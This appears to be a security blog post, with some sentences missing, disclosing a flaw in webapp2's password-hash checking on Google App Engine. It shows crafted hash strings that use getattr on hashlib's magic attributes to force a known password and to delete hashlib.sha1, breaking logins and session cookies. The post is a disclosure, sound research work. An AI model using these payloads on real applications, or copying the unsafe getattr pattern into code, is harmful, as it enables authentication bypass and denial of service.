Who would ever allow the user to submit a password hash, you ask? Well, for example
and had a DoS because of that. It's just bound to happen from time to time (and it's not the point of this blog post anyway), Let's just assume this is the case - for example, someone
We need to have some code to work on. Let's jump on the cloud bandwagon and take a look at
. For Python applications, Google
. Fine with me, let's do it!
When authenticating users in webapp2, you can just make them use Google Accounts and rely on OAuth, but you can also manage your users accounts & passwords on your own. Of course, passwords are then salted and hashed - you can see the example hash at the beginning of this post. For hashing,
.
When does webapp2 application process a hash? Usually, when authenticating. For example, if user
1 and 2 happen in
User.get_by_auth_password() 3 to 5 in in
webapp2_extras.security.check_password_hash():
def check_password_hash(password, pwhash, pepper=None):
"""Checks a password against a given salted and hashed password value.
In order to support unsalted legacy passwords this method supports
plain text passwords, md5 and sha1 hashes (both salted and unsalted).
:param password:
The plaintext password to compare against the hash.
:param pwhash:
A hashed string like returned by :func:`generate_password_hash`.
:param pepper:
A secret constant stored in the application code.
:returns:
`True` if the password matched, `False` otherwise.
This function was ported and adapted from `Werkzeug`_.
"""
if pwhash.count('$') < 2:
return False
hashval, method, salt = pwhash.split('$', 2)
return hash_password(password, method, salt, pepper) == hashval
def hash_password(password, method, salt=None, pepper=None):
"""Hashes a password.
Supports plaintext without salt, unsalted and salted passwords. In case
salted passwords are used hmac is used.
:param password:
The password to be hashed.
:param method:
A method from ``hashlib``, e.g., `sha1` or `md5`, or `plain`.
:param salt:
A random salt string.
:param pepper:
A secret constant stored in the application code.
:returns:
A hashed password.
This function was ported and adapted from `Werkzeug`_.
"""
password = webapp2._to_utf8(password)
if method == 'plain':
return password
method = getattr(hashlib, method, None)
if not method:
return None
if salt:
h = hmac.new(webapp2._to_utf8(salt), password, method)
else:
h = method(password)
if pepper:
h = hmac.new(webapp2._to_utf8(pepper), h.hexdigest(), method)
return h.hexdigest()
So, during authentication, we control
pwhash (it's our planted hash), and
password. What harm can we do? First, a little hashlib 101:
Back to school
How does one use hashlib? First, you create an object with a specified algorithm:
new(name, string='') - returns a new hash object implementing the
given hash function; initializing the hash
using the given string data.
Named constructor functions are also available, these are much faster
than using new():
md5(), sha1(), sha224(), sha256(), sha384(), and sha512()
Then you just fill it with string to hash, using
update() method (you can also pass the string directly to the constructor), and later on use e.g.
hexdigest() to extract the hash. Very simple:
>>> import hashlib
>>> hashlib.md5('a string').hexdigest()
'3a315533c0f34762e0c45e3d4e9d525c'
>>> hashlib.new('md5','a string').hexdigest()
'3a315533c0f34762e0c45e3d4e9d525c'
Webapp2 uses
getattr(hashlib, method)(password).hexdigest(), and we control both method and password.
Granted, the construct does its job. Installed algorithms work,
NoneType error is thrown for non supported algorithms, and the hash is correct:
>>> getattr(hashlib, 'md5', None)('hash_me').hexdigest()
'77963b7a931377ad4ab5ad6a9cd718aa'
>>> getattr(hashlib, 'sha1', None)('hash_me').hexdigest()
'9c969ddf454079e3d439973bbab63ea6233e4087'
>>> getattr(hashlib, 'nonexisting', None)('hash_me').hexdigest()
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: 'NoneType' object is not callable
It's a kind of magic!
There is a slight problem with this approach though -
magic methods. Even a simple
__dir__ gives us a hint that there's quite a few additional, magic methods:
>>> dir(hashlib)
['__all__', '__builtins__', '__doc__', '__file__', '__get_builtin_constructor', '__name__', '__package__', '_hashlib', 'algorithms', 'md5', 'new', 'sha1', 'sha224', 'sha256', 'sha384', 'sha512']
which means, for example, that if arbitrary strings can be passed as 2nd attribute to
getattr(), there's much more than
NoneType error that can happen:
>>> getattr(hashlib, '__name__')()
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: 'str' object is not callable
>>> getattr(hashlib, '__class__')
<type 'module'>
>>> getattr(hashlib, '__class__')('hash_me')
<module 'hash_me' (built-in)>
>>> getattr(hashlib, 'new')('md5').hexdigest()
'd41d8cd98f00b204e9800998ecf8427e' # this is actually md5 of ''
That last bit is kewl - you can plant a hash format:
md5_of_empty_string$new$ and the correct password is...
md5!
Final act
__class__ may have a class, but
__delattr__ is the real gangster!
>>> import hashlib
>>> hashlib.sha1
<built-in function="" openssl_sha1="">
>>> getattr(hashlib, '__delattr__')('sha1').hexdigest()
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: 'NoneType' object has no attribute 'hexdigest'
>>> hashlib.sha1
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: 'module' object has no attribute 'sha1'
Ladies and gentlemen, we just broke a Google AppEngine webapp2 application with a single hash! We just deleted the whole
hashlib.sha1 function, and all subsequent hash comparison will be invalid! In other words, no user in this application instance with
sha1 hash will be able to authenticate. Plus, we broke session cookies as well, as session cookies use
hashlib.sha1 for signature (but that's another story). As this is not a PHP serve-one-request-and-die model, but a full-blown web application, this corrupted
hashlib will live until application has shut down and gets restarted
(methinks, at least that's the behavior I observed). After that, you can still retrigger that vuln by authenticating again!
Demo
Disclaimer: This is tracked with
issue #87. Only applications that allow the user to write a hash somehow are vulnerable (and this setup is probably exotic). But
getattr(hashlib, something-from-user) construct is very popular, so feel free to find a similar vulnerability elsewhere: